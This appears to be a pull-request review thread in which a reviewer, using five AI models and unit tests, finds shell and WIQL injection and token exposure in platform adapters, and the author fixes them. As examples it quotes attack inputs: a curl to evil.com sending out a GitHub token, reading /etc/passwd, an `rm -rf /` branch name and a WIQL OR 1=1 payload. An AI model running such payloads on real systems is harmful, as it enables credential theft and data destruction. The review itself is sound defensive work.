5-Model Code Review PR #191 (Updated with test validation)

Ran this PR through 5 different AI models (Claude Sonnet 4, Claude Opus 4.5, GPT-5.2, Gemini 3 Pro, Claude Haiku 4.5) for independent review, then wrote unit tests to validate each finding. Only confirmed issues are listed below.

��� Critical Shell Command Injection (5/5 models flagged, confirmed by tests)

All adapters build shell commands via string interpolation and run them through execSync(). Only " is escaped backticks, $(), ;, &, | all pass through and are exploitable.

Test-proven attack vectors:

• WIQL injection: state = "Active' OR 1=1 --" breaks out of the WIQL clause
• Command substitution: title of Fix bug `whoami` or Fix bug $(cat /etc/passwd) executes in the shell
• Nested substitution: $(curl evil.com/steal?token=$(gh auth token)) in a GitHub comment

This breaks the project's existing norms. The codebase already uses the safe pattern:

• upstream.ts execFileSync('git', ['clone', '--depth', '1', ...])
• rc-tunnel.ts → execFileSync('devtunnel', ['create', ...])
• aspire.ts spawn('docker', [...args])

Fix: Replace execSync(cmd) with execFileSync(binary, [args]) everywhere.

Critical createBranch injection (4/5 models flagged, confirmed by tests)

Both adapters run git checkout -b ${name} with zero quoting. Test proves:

input:  "feature; rm -rf / #"
output: "git checkout main && git pull && git checkout -b feature; rm -rf / #"

The fromBranch parameter is equally unprotected.

High confirmed by tests

Medium confirmed by tests

Retracted false positive

What's Good

The architecture is solid. The PlatformAdapter interface is well-designed, detectPlatform() from git remote is elegant, and the concept mapping (IssuesWork Items, LabelsTags, etc.) is thoughtful. The provider-pluggable pattern is exactly what the community asked for in #8. Looking forward to this landing!

Thanks for the thorough 5-model review @wiisaacs — really appreciate the rigor, especially writing tests to validate each finding!

Fixed in latest push (20af91a):

• Critical: Shell injection — All adapters now use execFileSync(binary, [args]) instead of execSync(cmd). No user input passes through shell interpretation. Follows the existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts).
• Critical: createBranch injection — Now uses separate execFileSync('git', [...]) calls instead of string concatenation with &&.
• High: JSON.parse error handling — Added parseJson() helper across all adapters with raw output in error messages.
• High: Bearer token exposure — Planner adapter uses execFileSync('curl', [...]) with args array.
• High: Planner task ID — Original string ID preserved in url field for downstream PATCH calls.

Acknowledged but deferred:

• PlannerAdapter partial interface — split into WorkItemAdapter + RepoAdapter in follow-up PR
• Planner ETag/If-Match — will add concurrency headers in follow-up
• N+1 ADO queries — noted for future optimization
• Hardcoded User Story type — createWorkItem accepts a type param, default should be configurable

Thanks again — the injection findings were spot-on.

Thanks @tamirdresher the execFileSync refactor is a great improvement and the parseJson helper is clean. The shell injection issues are solidly resolved.

Ran the updated code through the same 5-model review and two findings came back as not fully addressed yet:

1. WIQL query injection (5/5 models flagged)

The execFileSync fix prevents shell injection perfectly, but state and tags are still interpolated directly into the WIQL string:

conditions.push(`[System.State] = '${options.state}'`);
conditions.push(`[System.Tags] Contains '${tag}'`);

A value like Active' OR 1=1 -- would manipulate the WIQL query itself this is query-language injection, similar to SQL injection, which lives at a different layer than shell injection.

Likely fix: escape single quotes per WIQL syntax (' ''), or validate state/tags against an allowlist of expected values.

2. Bearer token still visible in process args (4/5 models flagged)

execFileSync('curl', ['-H', 'Authorization: Bearer ${token}']) prevents shell expansion, but command-line arguments are still visible via ps aux or /proc/<pid>/cmdline on Linux (and Task Manager on Windows). The token exposure concern was about process inspection, not shell interpretation.

Easiest fix would be swapping curl for Node's native fetch or undici so the token stays in-memory and never hits a process argument list.

Everything else looks great the createBranch split, parseJson helper, and task ID preservation all check out. Nice work!

Both addressed in latest push (5daf83e):

1. WIQL injection — Added escapeWiql() helper that doubles single quotes (WIQL's escape syntax, same as SQL). Applied to state, tags, and project name values. Active' OR 1=1 -- now becomes Active'' OR 1=1 -- which is a harmless literal string in WIQL.

2. Bearer token — Changed graphFetch() to pass the Authorization header via curl --config - (stdin) instead of as a CLI argument. Token no longer appears in process args visible via ps/procfs.

Thanks for the follow-up — both were good catches at the right layer.